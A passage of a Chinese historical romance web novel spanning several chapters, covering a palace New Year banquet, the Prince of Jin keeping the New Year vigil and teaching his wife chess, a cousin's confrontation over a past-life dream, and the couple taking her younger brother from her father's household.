两人进宫时,天色微暗,走到宫门时天边已经染上了红色,巍峨宫门影子渐斜。 进宫后,两人一路向华林园而去。 太子妃为人所害,皇后又大病初愈,宫里未宴请大臣,只摆了家宴。 先皇早逝,当今皇帝登基时不过三岁孩童,未有兄弟姊妹,可到底有两个先皇的手足在洛阳,加上宫里的嫔妃和皇子公主,倒也算是热闹。 两人来时不算晚,那太子并没有和皇后一起到场,而是先来一步,一同到场的还有从宫外而来的几家皇宗。 席间的酒已经上好,太子倒也记得规矩,没有先动那壶酒,只拿在手里晃了两下。 元衡同其他人一样,带着岑璠去见礼,礼貌地说了句,“节哀。” 太子盯着两人看了好几眼,最后目光落向岑璠身上。 他记得第一次见自己兄长的这位王妃时,虽是貌美,可分明还有些小家子气,缺少世家女身上该有的贵气。 他那时看着,只觉怎么都比不过他的太子妃。 可不过半年而已,竟是从头到脚都换了一幅气质,说不出的精贵大气,脸色也比他刚见时红润许多。 人人都说,晋王对自己的这位庶族王妃宠爱有加,半年过去,不曾有妾室,日日同处一室,耳鬓厮磨,价值连城的物件不要钱似的往后院里堆,护得像眼珠子一样,前一阵崔氏逃至晋阳,掳走王妃,竟是出动了半个城的兵力去追。 现在看来倒不曾有假。 他除了太子妃也不过才有一个良娣和儒人,若是太子妃还在,也该是琴瑟和鸣… 可他的太子妃已经死了,如此热闹宫宴,如今没有她…… 太子心里一阵刺痛,可还是碍于礼数,没站起身,只微微回礼。 元衡不喜刚才太子落在自己王妃身上的眼神。 那眼神中似带有别样的情绪,让他心里很不畅快。 元衡只给他又看了一眼,便是明目张胆揽了自己王妃的腰,回到席上。 席间的贵妇目光不少落向那红梅似的人,有的指向自己的钗,有人指向自己的眉间,时不时向一旁的丈夫说道一两句。 那齐王府上年轻的妇人,竟是跑到他们席上,只因想看看岑璠头上那只红宝蝶飞花钗。 五公主早几日回到皇宫,此番 也带着那驸马来了宫宴。 她出嫁时,元衡依照诺言给了一大批嫁妆,也算是撑起了公主该有的场面,十里红妆。 皇帝为彰显对这门婚事的重视,亲自送嫁。 两人在公主府倒是没有闹出来什么冲突,可他安在公主府里的人却是知道,公主与驸马乃是分院别住,那驸马常在偏院,最常在主院的反倒是公主身边那位名叫绥儒的门客。 元衡虽是答应不帮她找男宠,可她自己愿意找,他叫人去信,说那绥儒不是什么好东西,她也不听,那他便只能睁一只眼闭一只眼。 那萧晗约莫求娶时也没想过公主是这般人,原本应该也只打算娶一个受气包,想空享皇室荣华。 听说这萧晗忍无可忍,在府里闹过一次,不过只这一次,公主便断了他所有的的银钱,连消息都没传出去,便再也没了闹声。 那萧晗不敢乱在外面玩,只房间里也挂满了美人像,还收了好几册春宫图。 夫妻两人各玩各的,不过一个是真玩,一个只敢看看。 不过好在元斓给了体面,在外人面前倒是琴瑟和鸣,给足了他做驸马的面子。 两个人进来时,还是元斓挽着萧昀的臂。 那萧昀眼中到底没多少光采,可来到这满是皇室宗亲的宫宴,也只见只能装出些笑来。 元衡视而不见,问了几句,说未能给公主送嫁是他的遗憾,只能多弥补些嫁妆。 说着说着,元斓却注意到岑璠头上的簪子。 那只簪子流光溢彩,上面的蝴蝶生动逼真。 元斓眼睛一亮,想要说什么,元衡却只是淡淡看了她一眼。 元斓知道自家皇兄什么意思,又看了眼旁边的男人,唇一下压,到底是没维持住该有的体面,松开手回到自己的席位。 等到美酒凉菜备齐,皇帝才携皇后上席。 元衡瞧了眼那皇后,那皇后唇色有些苍白,显得整个人有几分消瘦,确实像是病着,可到底病还是没病,谁也不得知。 几个大些的皇子公主挨个说上祝词,反正无人在意,元衡便随意说了几句场面话。 皇帝挨个问过,说到他这里,倒是没多问他,只变相夸了被他娇养的妻,“老二的王妃气色好了不少,想必是老二照顾的不错。” 岑璠起身行礼谢过,其他倒也没多说。 那齐王妃倒是赞叹,“王妃出嫁时妾还见过,如今竟是比出嫁时更好看呢。” 皇后见状,也是说了两句,“老二的王妃的确是比从前气色好了不少,这穿的也喜气。” 她微声一叹,“倒是又叫本宫想到了太子妃…” 其他人的话便都收了起来。 太子妃新丧,皇后和太子都还没走出来,穿得太喜庆确实不算妥当。 众人下意识看了看自己身上的衣裳,皇帝也有所察觉,打起圆场,“皇后也别太伤感了。” 皇后道:“陛下也是知道,太子妃过世没多久,妾心不安。” 元衡却是接话道:“太子妃过世实乃不幸,如今岁除新元,喜庆热闹,算是给东宫冲喜。” 席间众人觉得此话倒是话糙理不糙。 过年嘛,一年只一回,何必为了一个已经过世一月有余的人耿耿于怀。 皇后听完闭嘴不谈,众人便又松了口气,皇帝也没说什么,扫了兴致。 色渐渐暗沉,一场晚宴歌舞升平,觥筹交错,太渊池的对岸燃起烟火,自空中绽放,映有火树银花,时而亮如白昼,好不热闹。 宴席散去时,街上百姓早已闭门,路上爆竹散了满地。 王府外也换上了新灯笼,玲珑剔透,门上挂有桃符。 回到府中,还要守岁。 元衡拿了坛酒来,那酒自腊八就有府里的人埋下,如今取出便是能喝。 岑璠宴席上并没有多喝,全都是他挡下的酒。 屋里窗棂微开,围炉煮酒,倒是也不冷。 那酒温得差不多,元衡将那金铜缠枝莲纹酒壶提下来。 两盏酒倒好,递给她,岑璠却是不喝,“我不胜酒力,殿下应当知道。” 元衡的手一滞,还是将那杯酒递给她,道:“这杯酒无毒,就算是有,也早就煮没了。” 岑璠还是不肯喝,不是因为不信他,实在是她自己觉得这酒没什么好喝的。 元衡唇近乎抿成一条缝,脸到底是沉了些许。 他倒是也没强求,自己端起那盏酒,自己闷声喝,一小口一小口抿,搁在桌上的声音一次比一次重。 岑璠后来还是喝了一口,那酒透着些甘甜,不辣嗓子,同成婚时他给她的酒很不一样。 元衡道:“孤知道皎皎不喜欢喝那些酒,这酒是用柑果和葡萄酿的。” 原来是这样…… 岑璠低头又看了一眼那酒,又抿了一小口,确实能尝出柑果的清香还有葡萄的酸甜。 元衡知道她不想和他喝酒,怕他有别的目的。 可他只是想好好同她守岁、想同她年年都这样守着下一年的到来。 他道:“孤已经很久没和别人守岁过了。” 在军中那些年几乎无岁可守,围在一起喝顿酒,吃些炖肉,便算是过了年。 来到晋阳这三年,也就舅父会在白日拜会,可也不会陪他守岁,他一个人在王府里待过一年,觉得没意思,后面两年过岁除便又跑回军中去了。 有她在的这一个岁除,的确是不一样的。 上一个这样的岁除,似乎是很久很久之前,久到他都快记不清陪他过岁除的人笑起来是什么样子。 他道:“孤从四岁开始进冷宫,便没有这么守过夜,不过孤倒是记得清楚,那一年母亲怀着皇妹,父皇在永乐宫只能和孤一起守夜,还陪孤下了好几盘棋。” 岑璠不知他为何要同她说这些,没有接话,甚至有些警惕。 他轻轻笑了,却笑得有些无力,“这守岁无趣,孤不过是想同王妃说说儿时事罢了,没别的意思,王妃也不必回什么话。” 他眼中似有寂寥,微微一叹,继续自言自语,道:“那个岁除孤还是太困,后来父皇总是赢棋,孤觉得没意思,便也去也去睡了,父皇便在宫里守了我们母子三个一整夜。” “早知那是最后一次,总该守完一整夜才是…” 岑璠从未见过这样的他,眼中似染上暖光,连声音都沾上了些人间烟火。 她想着他刚才的话。 她曾经打听过他的事,知道晋王四岁时随母居于冷宫,她比他小五岁,那年她应该在娘胎里,并不知道当时宫里都具体发生过什么。 可她也渐渐也垂了眸。 “我也是…” 她似自嘲,“不过我四岁那年,倒是没有过上岁除,那一年冬彭城战乱,父亲在年关前跑商路,没了音讯…” 后来再回来时,她的父亲已为她人夫。 她不得不承认,她和他有太多相像,他四岁被关入冷宫,她四岁父亲抛弃妻子,连他们母亲死的时间,都只差了一年。 元衡听她讲,一时也有些怔愣,可后来也渐渐反应过来,她与他的人生何其相似… 她的父亲,也是心狠之人。 他却又想起了他那父亲,“其实孤的父亲,和你的父亲也很像,当年母后杀了昭仪,是皇后在背后作梗,可父皇分明也知道,他就那么看着,看着一群女人争得你死我活,最后母后成为了这场斗争的献祭。” “孤曾经也对他怀有很多年的期许,觉得他不会这么心狠,肯定有难言之隐,期待了很多,很多年,十几年后才发现,他才是一切的始作俑者,他喜欢那昭仪,也想打压杨氏,从母后杀了那昭仪的一天起,就没打算让我们母子好好活下去…” 岑璠沉默了。 一时间,炭火时而迸发出噼啪火星,除此之外便再也没有其他的声音。 忽而,她却问道:“殿下还会帮我报仇,是吗?” 他会将仇人送到她的手上,包括她的父亲,而不是做替她拿刀的那个,她的仇不只是他自己复仇的一环,他并不是为了留住她而诓骗她,对吗…… 元衡没有出声,只微微颔首,模棱两可。 他的默然让岑璠感到些许不安,她迫切想要一个确切无误的承诺。 她开口想问什么,却是被他的反问打断,“皎皎,若有朝一日孤帮你报完所有的仇,你能和孤…余生一起好好过日子吗?” 第68章 第六十八章孤教你下棋,如何? 岑璠想说的是一句“或许”,可到最后也只是梗住声,和他一样,收起了唇。 她没有点头,也没有什么其他的动作,那声询问便如同风一般消散了。 房间内又是一段寂静,夜逐渐变冷,他眼中残存的那一丝暖意也随之而去,越来越沉寂,变到毫无波澜。 元衡想问一句“为什么”,他使尽浑身解数,却是换不来他曾经轻而易举便能得来的东西。 不过她没有明着拒绝他。 元衡没逼她再说什么,在心里自己念了一遍又一遍,最后便是愈发相信她会留下来。 离开他之后,她能去哪里呢? 岑家他也见过,那些人和她的关系并不算好。 她在这世上还认识什么人? 若是去平城找那两人,她终归还是摆脱不了他的掌控。 更何况她弟弟若想要在王府,她能离开吗? 元衡越想越觉得她不可能离开,她不回答,不过是因为不想承认她离不开罢了。 岑璠读不出他心里的想法,只在他绽开一抹笑时觉得不寒而栗。 可雷霆般的怒火并没有到来,他站起身,去外面叫人拿了盘棋来。 他问道:“皎皎会下棋吗?” 岑璠摇头,“从未下过。” 元衡没有放弃,只捻起一颗剔透的墨玉棋子,道:“孤教你下棋,如何?” 岑璠低头看着那棋盘,答应了下来。 长夜漫漫,守岁之夜倒也无趣,能学下棋,总要比同他做其他折磨人的事要好。 元衡嘴角的笑意更明显了些,一子落在棋盘一角,同她讲第一步该下在哪里。 棋盘渐渐黑白交错纵横,玉烛台上的红烛也越燃越短。 * 与此同时,北边的晋阳城下起一场鹅毛大雪,门外的灯笼随北风摇曳,将灯火映上红色,一幅瑞雪兆丰年之景。 尔朱阳雪尚在病中,她晋阳的兄长前去洛阳贺岁,其他父兄皆在军镇,而其他尔朱氏大多居于平城。 她本也是要一同前往洛阳,可这场病着实来的突然。 这一年她便是一个人留在了晋阳。 晋阳人口繁多,过年也算热闹,她也披上厚袄,也出去看了一会儿街景,这处宅院周围邻居并不少,红映霄汉,声震如雷,邻家的小孩在街上你追我赶,打太平鼓,好不热闹。 她身子仍时不时发冷,实在是熬不了年。 府门将要关闭,街角却是来了一人。 那人手里似拎了一只酒坛,脚步匆忙,那追赶的孩童一个不小心,撞到了那人的腿。 杨知聿扶稳那个小孩,朝小孩笑了笑,看向府门外。 尔朱阳雪有些惊讶。 崔氏一案过后,他便是被放去了军镇,已是许久不见,她并不知道事由原委,可约莫也能猜出与崔氏有关。 他似并不打算告诉她。 他从很久之前起,就有事瞒着她。 尔朱阳雪眉渐皱,转身便要进府。 杨知聿顾不得那扶着额头的小孩,上前两步,走到府门前叫住她,“晋王允我回晋阳,无人一同守岁,想着表妹也是一个人,便想来拜个年。” “表妹可愿一同过个年?” 尔朱阳雪没有搭理他,径自入府,却是叫人留了门。 杨知聿轻笑,跟着进门。 两人来到正院旁的一处暖阁,暖阁内灯火通明,尔朱阳雪脱下厚袄,她身旁的贴身婢女芊枫将一旁的小炉烧起来,正准备煮上些茶。 杨知聿却是将那酒坛打开来,“煮这个吧。” 尔朱阳雪瞟了眼那被打开的酒坛,那酒坛里面竟装有黄桃。 “这糖水有些凉了,还是煮热吃才好。” 尔朱阳雪有些惊讶,紧接着却又忍不住咳嗽起来。 芊枫将那酒坛放到炉上,赶紧递给她帕子,“姑娘也该喝药了,奴婢这就吩咐人去煮。 说罢,芊枫便出了门。 杨知聿问道:“你的病…还没好?” 尔朱阳雪止住些咳,“没有。” 她又拽来了那件叠在一旁的厚袄,披在肩上,“这病来的凶猛,好的也慢。” 杨知聿没在问,看向那烧火的炉子,“等你喝过药,这黄桃应当也能吃了。” 尔朱阳雪一笑,却并没有被他带跑偏,继续道:“我总觉得这病来的蹊跷,表兄说会不会是有人从中作梗。” 杨知聿没有看她,似是觉得她小题大做,轻描淡写道:“得风寒而已,这种事如何从中作梗,表妹想多了。” “但愿吧。”尔朱阳雪道:“这病来的突然,又刚好赶上我去洛阳,我还以为是什么人不想让我去,出此下策。” “想太多了。”杨知聿坚持道:“什么人下毒,会只让人只得风寒?怕不是三岁小儿在恶作剧,才会如此行事。” 尔朱阳雪笑了笑,“但愿吧。” 两人似有一瞬的无言,须臾后尔朱阳雪开口问,“听说军镇这些日不安稳,我父兄他们可还好?” 杨知聿道:“你放心,晋王都安排好了,如今的局势还算稳当。” 尔朱阳雪颔首,可她却是知道,如今的军镇,局势其实并没有他说的那般好。 否则他的兄长便不会想着把她带去洛阳了。 那洛阳城内的太子妃新丧…… 她尔朱氏此前一直忠于晋王,虽然她此次去洛阳,父兄可能并不打算做什么,可既是暗中做此种倒戈准备,想必是父兄在军镇察觉到了什么。 她也能感觉到,杨氏与他尔朱氏,向来不是纯粹的盟友。 羽毛似的睫垂下,她轻轻笑过,又问了他几句在军镇的情况。 他一一答过,和前些时日总是对她不耐烦的态度迥然不同。 也不知道是因为愧疚还是什么。 不一会儿,芊枫将汤药端进了暖阁。 她一口气喝完,杨知聿给她舀了两块儿黄桃,加了些糖水。 尔朱阳雪用汤匙剜了一块儿,示意芊枫先出去。 她小口吃着,不一会儿,那碗糖水黄桃便被舀了个干净。 杨知聿问道:“表妹可是喜欢吃?” 尔朱阳雪点头,将碗递给他。 她看着他帮她盛糖水,似是调侃,“表兄似乎很久没这样叫过我了,我还以为是哪里惹的表兄不快,才让表兄这般生疏。” 杨知聿听得出她话中的不满,也听得出那些许的试探,将那碗糖水放到她面前,面不改色道:“我只是觉得的你到了该出嫁的年纪,男女总有别,你我也并非亲兄妹,总该避嫌才是。” “那——” 他知道她要问什么,打断道:“今日过年,是个例外。” 尔朱阳雪眼眸微垂,默然一瞬,却是转而又说起刚才的事,“你也别怪我疑神疑鬼,刚才我说的事,也绝非乱猜。” 她语气平淡,杨知聿猜不透她的意思,只得抬眼看她。 尔朱阳雪恰好也抬起了眼,那双杏眼清明,似能看透许多。 她目光始终直视着他,似明镜一般,照得清任 何躲闪和心虚。 “我病时做过一个梦,梦到我嫁去了洛阳,嫁进了皇宫。” 她话音顿了顿,紧盯着对面人的反应。 他的眼眸似有些躲闪,可也就似有若无的一瞬,嗤笑一声,“什么梦,这么荒唐…” 尔朱阳雪无声勾起唇角,眼眸又低下了,淡淡道:“还有更荒唐的呢,我梦见我那第一任丈夫死了,而我回到家乡,可不过一年时间,尔朱氏便突逢变故,后来我逃回了洛阳,又把自己嫁进了皇宫…” 她说完,并没有再去看他,端起他给她盛好的那碗糖水,抿了一口。 他似是静了许久,再问时声音有些哑,“然后呢,你还梦到了什么?” “我梦到宫里被叛军围攻,我的第二任丈夫在我面前被凌迟而死,我被囚于宫中,等来了一个人。” 她抬起眼看着他,“那个人…好像是我很喜欢的一个人,但我用袖中的匕首亲自杀了他。” 可这一次,低下头的却是杨知聿。 他喃喃道:“不过是一场梦罢了,你那时应该烧糊涂了吧…” 尔朱阳雪未接他的话,也没恼怒,只平静地问道:“表兄相信前世今生吗?” 杨知聿似无动于衷,笑了笑,“你是觉得这些是前世发生的事?” 尔朱阳雪道:“也许是吧,可梦里的我似乎不后悔…” 杨知聿抬起眼,看向她。 她坦然道:“我虽是不知道梦中的自己为什么一定要杀那人,可如果那真的是尔朱阳雪,应该是不会让自己做后悔的事。” 杨知聿蓦地笑了。 她说的那些叛军是他带进来的,那时他对她有怨气,对那狗皇帝更是恨。 是他派人将她关在了宫里,纵容那些人在她面前杀了元彻那个狗皇帝。 是那尔朱氏放弃了她,不顾她的性命让叛军入皇城,她约莫也以为他和尔朱氏是一种人,恨毒了他,所以连解释的机会都没留给他。 可他自始至终都不想要她的性命,他赶回来和那些人一起闯进宫,是想留她一命… 杨知聿想解释什么,可对着这双还留有清澈的眼眸,便是停住了话。 他站起身,“表妹病应当还没好,总想得太多,还是早些睡下吧…” * 翌日五更时,王府的下人便包起了饺子。 昨夜岑璠下了一夜的棋,倒也没做什么太费体力的事。 天微亮时,房内的烛火燃尽,图了个好兆头,岑璠便是上床小憩一会儿。 再醒时,天已大亮,乳娘像往年一样,往饺子里包了颗铜钱,沾沾福气。 往年都是她一个人吃饺子,这颗铜钱不论如何都是她吃得到,可今年却多了个人,两碗饺子端上来,还要自己选。 元衡叫她来选。 岑璠挑了又挑,可那颗包有铜钱的饺子,还是跑到了另一个人嘴里。 她没有说什么,可这喜运被他抢走,的确有些不满。 元衡看得出,吃得心愧,最后说了声,“本王的福气,便也是皎皎的福气。” 乳娘听了乐呵,直说了好几句漂亮话,岑璠愣还是没露出一点笑容。 用过早膳,两人去拜会郑峋。 如今明面上,不少人都知晓是晋王赐给崔郑的人毒酒,而郑氏自崔氏一案后,与晋王也刻意疏离。 可这也只是做了样子,郑峋知道,若无晋王,自己的女儿和那崔氏,不可能顺利隐世,怕是早已凶多吉少。 郑氏这步棋被元衡埋在了暗处,此时自是不好再上门拜访。 元衡带着她一起出了城,去了郊外的寺中,美其名曰去还愿。 那座寺岑璠也去过,那时她去那座庙里给母亲做法事,也是在那里她和阿湄重逢。 岑璠见过郑峋一面,气质出众,她印象不算浅,如今再见,似是比之前苍老了些,两鬓多了好几丝白发。 上一次搀扶郑峋的还是阿湄,这次来,换成了郑氏的五公子。 郑峋将她二人请进门,问了几句晋阳的近况,免不得多问了几句平城那边的事。 元衡答了几句,岑璠也将郑伊湄在信里同她说的事挑拣了些说与郑峋听。 比起上次相见,郑峋似是收起了对她的锐气和不满。 不仅如此,还坦坦荡荡承认了自己的之前的错处,“臣过去对王妃多有偏见,还请王妃见谅,晋阳的事臣都知晓了,小女得友如此,是她之幸事。” 岑璠摇了摇头,“都是应该的。” 郑峋想到什么,又问,“听蒲菊说,小女幼时在彭城就与王妃相识,可是真事?” 第69章 第六十九章王妃就不能将孤往好的想想…… 元衡看向她,也在等着她的答案。 岑璠颔首:“在睢陵时见过,说来也是缘分。” 她原来与那郑氏是认识的… 元衡一时觉得讶异。 不过这样一来,她对郑氏的特别之处倒也有了解释。 也给了他一些解释。 难怪他在她心里比不过那郑氏 不过既是儿时认识,为何上一世她二人会形同陌路呢? 元衡许久之前便想过,这一世与上一世有哪里不一样。 想来想去也只想到一个崔迟景。 上一世他为了排查南梁奸细,亲自上了睢陵的那座山,见到了她,而这次却是崔迟景。 他容貌不差,或许是雪中送炭,她对他一见钟情,也或者是因为他出于好心,派军医替她治好了风寒,让她心生了爱慕。 她的喜欢那样简单而又纯粹,这种推测也并无可能… 而她这一世同郑氏的姑娘认识,也是因为她先结识了崔氏。 如果都是因为崔迟景这个多出来的人,其实一切便都能解释得通。 不过他总该问问,她同那郑氏姑娘是如何相识。 从昨日守夜看来,她并不会向他隐瞒儿时发生的事,应当也不至于在这件事上欺骗他…… 听到岑璠那句“缘分”,郑峋只感慨道:“的确是缘分啊…” 他听蒲菊说,那块儿曾经被他送给晋王的玉佩,是面前这位晋王妃给的。 他这个人在庙堂沉浮数载,一切以利益为先,只想快些让女儿与崔氏快些断了关系,却险些让她错失了一个朋友… 他郑峋自诩爱自己的女儿,可被权力侵蚀多年,竟是在自己的女儿身上也算计起了利益。 直到得知她决然出走时,他才意识到一些事。 譬如他的女儿与他不同,是个重情重义之人,譬如她和崔家那个人认识十几年,比和他待在一起的时间还要长许多…… 这些日他也在反省,反省这些权力究竟将他变成了怎样一个人,也在换位去想,若他是自己的女儿,会是什么感受。 那段日子,她应该是很痛苦的… 他想要尽力去弥补,可现在说什么都晚,能做的太过有限。 郑峋看了看面前两人,倒也不想尴尬地提起那块儿玉佩,又问了问军镇的事,倒也丝毫不避讳岑璠,道:“崔氏一倒,杨氏只会更加猖狂,咱们这位陛下也清楚,将来必会变本加厉打压杨氏和旧族,扶持世家。” 他额头轻抬,微叹一声,“但那些跟随陛下而来的旧族,也并非都是权贵,尤其驻守在军镇的那些军户,他们苦啊…” 元衡道:“孤明白,这个冬天赤城艰难,孤已经派人在赤城驻守,向军镇四方征粮,应当能保军镇无恙。” 郑峋点头,又道:“陛下暗中削减两方势力,朝堂将来不会安稳,杨氏和尔朱氏的根基都在军镇,尔朱氏的背后是贵族,杨氏又和关陇密不可分,殿下还是不能太依靠杨家,身处其中,要万万小心。” 元衡还记得上一世,郑氏的姑娘死后不多久,郑峋便辞官隐居,不问世事,并没有人同他提醒过这些。 他重活一世,也知道崔氏一案牵连出的种种矛盾因果。 他颔首道:孤找到一个合适的人选,此人与杨氏关系密切,又与尔朱氏有些牵连,由他从中周旋,探两方动向,或许能让之后 的军镇少些动乱。” 郑峋想了想,问道:“此人可是那位扬烈将军,杨太尉的那位义子?” “正是。” 郑峋眨了眨眼,思虑片刻,便也觉得由此人从中迂回,或许是个办法。 他问道:“此人可信否?” 那姓杨的多次脱离元衡的预想,他确有防备,所以将尔朱氏留在了晋阳。 可他能信的人并不多。 用人不疑的道理元衡懂,他想再赌一次,信他一回。 元衡沉默片刻,点头道:“可信。” 郑峋到底还是不全然放心,道:“不论如何,殿下还是要将兵权掌控在自己手里,切莫忘记,除了杨氏和尔朱氏,那些军户若是拧成一股绳,也能成一方势力。” 岑璠在一旁静静听着,这其中的关联她听不明白,却在听到最后一句时,微微看向元衡。 也不知道他能不能听进去…… 郑峋也怕他不在意,又道:“老臣说句不该说的,现下殿下所做一切其实也是扬汤止沸,军镇的矛盾并非一朝一夕便能解决,就说征粮之事,军镇今年艰难,向世家征粮或许能暂时让军户过一个冬天,可若此后年年征粮,最后终归是会无粮可征啊。” 元衡静了片刻,道:“孤明白。” 郑峋欣慰地笑了,“殿下比起几年前,沉稳不少。” 他轻叹息,“殿下若真能明白其中根本,天下真能交到殿下手上,乃是大魏之幸,百姓之幸,老臣将来也才能放心退下来。” 元衡有些惊讶,不由又悬起心,“您是说您要隐退?” 郑峋自嘲道:“这些天老臣一直在想,越想越觉得,这些年活得其实没什么意思…” 元衡到底是想不出,郑峋说的“没意思”究竟是什么。 郑氏门阀百年,到郑峋这一代达到鼎盛,宗族子弟遍布朝野,他本人再过几年便能晋为宰辅,位极人臣。 这样一个人,为何会觉得自己这些年没意思呢? 元衡不能理解,却也并未强迫,只问道:“您何时准备隐退?” 郑峋听出了他话中的情绪,摆手笑道:“老臣也只是先说说罢了,现在退还为时过早,总要先将天下交到殿下手上,老臣才好想后面的事呢。” * 因着郑峋那席话,元衡回去的路上,眉头都不曾舒展开。 岑璠却还记得另一件事。 她要将珝儿从虞家接出来。 她在车上向元衡提起了此事。 元衡前几日的确很认真地想过此事,他提醒道:“虞氏府上只这一个男丁,怕是没那么容易将他带走。” 那日她说要将珝儿接来,他倒是并未说这些…… 岑璠下意识所想,便是他要说话不算话。 她的脸色瞬间沉了下来,嘴角下压。 如今的元衡能轻易感受到她的喜怒,也能猜到她为何会这般怨怒。 他解释道;“孤只是同你说说罢了,没打算出尔反尔。” 岑璠便是迅速收起了棱角,淡然地像什么都没发生一般。 元衡的脸色却是越来越差,“王妃就不能将孤往好的想想?” 岑璠低下头,未答他的话。 元衡有些许无奈,心里发堵。 回到府上,元衡倒也是就此事再细细盘算了一番。 年初二时,按照礼俗,本该走街串巷,拜访邻里,也有出嫁的女儿会在这日会回娘家。 虞佑柏昨日带儿女回了黄家,今日恰好在府上。 虞氏嫁到柳氏的女儿至今下落不明,无人找到,寒冬腊月不见踪迹,谁都知道是怎么回事。 年前时,虞佑柏便是拍板做主,悄悄办了场丧事,因着是柳氏罪妇,倒也不敢张扬,只在周围的佛寺请香燃灯,诵了佛经,超度亡灵,便算是办过, 到底是黄氏第一个亲生孩子,黄氏连着哭了好几日,眼睛竟是哭坏了,至今还有些视物模糊。 元衡带岑璠去虞家,美其名曰回门,却是带了不少人,声势浩大, 只是虞家人见到两人,并没有如临大敌,反倒将门外的人一股脑都请了进门,倒真像是嫁入皇室飞黄腾达的女儿正式回门探亲一般。 虞佑柏在正堂等候多时,见到两人迎面而来,倒也不敢胡乱攀扯叫晋王一声女婿,只带着黄氏出堂,毕恭毕敬行了一礼。 他上上下下将岑璠这个女儿看了一遍,状似满意,道:“你出嫁后,为父和你母亲都想念得很,如今可算是见到了。” 岑璠只在听到那声“母亲”时觉得恶心。 若是真的想她,早该寄好几封信了,何必在这里虚情假意… 黄氏眼睛尚不清明,眼底灰青,却也接了句,“皎皎气色好了不少,想来是殿下照顾的好啊。” 岑璠没有接两人的热络话,淡淡扫了一眼,直截了当,“珝儿呢?” 两人的话音都收住,互相对望一眼。 黄氏一直看着虞佑柏,虞佑柏先回过头,脸色严肃了些许,清了声嗓子,向一旁的管事道:“将那个孽障带过来。” 不一会儿,珝儿便出现在几人眼前,他低着头,步子慢慢挪。 虞佑柏厉声道:“还不快点过来!” 珝儿觉得委屈,看向正堂一众人,最后目光落到黄氏身上,皱起眉,眼里似是蓄了些泪珠,委屈道:“阿娘,我不想去晋阳,” 听到那声阿娘,岑璠攥紧了拳。 虞佑柏道:“今日就算是你祖母还在,也得去!” 珝儿便是咬唇默了声。 元衡静静看着这出大戏,等着虞佑柏下一句。 斥完珝儿,虞佑柏便又换回了一副好脸色。 他拱手一礼道:“微臣一时失态,臣也是前些日才知,犬子顽劣不堪,竟是逃学赊账去酒楼。” 虞佑柏叹了口气,道:“他母亲是个性子软的,这些年总惯着他,是将他惯坏了,听说前几日璠儿有意将他带去晋阳,臣这几日想了想,让他去晋阳随殿下历练几年,改一改身上的毛病,也是好的。” 珝儿眼睛更红了些,语调微高,“阿爹,我真的不想去晋阳…” 再出声的却是岑璠,“你必须随我回去。” 元衡看了眼她,回过目光,视线又落到那哭得一把鼻涕一把泪的矮小子身上。 虞佑柏如此爽快地让他们带走珝儿,绝不像他所说的那样简单… 她这弟弟再无能,终归也是虞氏的独苗。 元衡凤眼微眯。 她这个胞弟,在旁的人那里或许是一无是处,可对他来说,还真有些用处。 若是他不带走,她怕是要再记恨他一笔,若是带走,她便是很难再离开王府, 元衡最终还是决定将珝儿带走,示意让赵巍将地上哭得没出息的妻弟扶起来。 赵巍向来看不得男人哭哭啼啼,扶珝儿起来时倒也不见外,拍了一下他的背,“瞧这瘦的,还驼背嘞,男子汉大丈夫,别整日掉豆子,随殿下回晋阳,我教你打拳如何!” 此话一说,珝儿却是哇的一声,哭得更大声了。 元衡并未理会那哭声,要来了人,便是随岑璠离开。 门口的香车将要驶动时,黄氏却是追了出来,“王妃留步。” 她眼睛似是不好,由身旁的老嬷嬷搀扶着,步子似是迈得急切,在外人看来却也不快。 岑璠未下马车,只掀开帘幔低眼看她,“何事?” 黄氏咧开嘴笑了笑,那双眼似在看她,没什么神采,却微微弯起。 “我知道老爷其实说的对,这些时日我也反省许多,过去是我太惯着珝儿了,他和你们回晋阳,对他而言也是好的。 “我刚才没有要阻拦的意思,只是不太舍得…” 岑璠轻轻“嗯”了一声,阻断了她的啰嗦、轻飘飘问道:“然后呢?” 黄氏哑然一瞬,眨了眨眼后,却是忽然转身,将一只匣子捧到她面前。 “你出嫁时我没能给多少嫁妆,如今我只剩你和珍儿两个女儿了,这些首饰我自己存着无用,便想着都分给你们。” 她低头看了看那盒子,又解释道:“这些首饰之前虽是存着留给瑜儿的,但都是好东西,我也没有别的意 思,你和珍儿我都给了些。” “你的生辰也快要到了,年后你便要回晋阳,我也不好再送什么给你,这些便算作生辰礼…” 第70章 第七十章如果他给她个孩子,那也算是…… 岑璠看了看她手上的盒子,放下车帘,冷道:“我不需要你的生辰礼,拿回去。” 紧接着,车内又传来一声男人的声音,同样没什么感情,“黄夫人还请回吧。” 黄氏有些怔愣,想上前一步,却是被一旁的老嬷嬷拉住。 老嬷嬷摇了摇头。 随后车轮动起,辘辘声响起。 那车帘并未再掀起。 珝儿自出来后便一直哭,元衡嫌吵闹,并未让他和他们乘坐一辆车,而是由赵巍陪着上了马。 马车外传来一阵声音,“臭小子,长这么大,怎么连马都不会骑啊。” 车内寂静了许久,岑璠一直偏开头,看不清神色。 忽地,元衡问道:“你的生辰是在二月初六?” 岑璠微微颔首。 他想查到她的生辰并不难,她也不觉得惊讶。 元衡沉默片刻,问道:“想怎么过?” 岑璠皱起眉,反问:“殿下是想怎么过?” 她无多亲友,每年的生辰也都是乳娘准备一碗长寿面而已。 及笄那年,她的生辰本是要大办,可突逢外祖父过世,便是及笄礼都没有办过。 后来还总有流言说她命硬,娘死了不说,就连外祖父都在她及笄前过世了。 因着这流言,彭城鲜少有人敢娶她。 她着实不知道他准备把她的生辰过出什么花样来。 元衡也被她问住了。 他哪能知道生辰怎么办,如果不是韩泽每年提醒,他都快不记得他的生辰是哪个日子了… 两人相顾无言,看了看彼此,便是谁也没再提。 马车外的哭声还隐约能听到,大过年的,也不知道周围街坊邻里会如何议论。 岑璠眉心直跳,可让她真正犯愁的并不是这个。 元衡能看得出些许,他问道:“孤打听过黄氏的事,听虞家的人说,黄氏这些年待他不错。” 岑璠手指动了动,挑开车帘,“嗯”了一声,没有反驳,也没有怨怪,眼睛看向车外,似在躲避,却是说不出的执着。 元衡轻轻一笑,试探道:“孤看那黄氏,对皎皎倒也像是真有几分愧疚。” 岑璠便是放下帘子,黛眉微微扬起,质问道:“殿下这么说,难道是觉得我该原谅她?” “是,她是对我有愧,可就因为这个,我就非要原谅她吗?” 元衡已经许久没有在她身上看到过这种芒刺。 这些时日他们没有太多针锋相对,他几乎都觉得,她身上的那些棱角要被他磨平了。 元衡笑了笑,道:“孤只是问问罢了,孤还以为,皎皎对黄氏也要心软。” 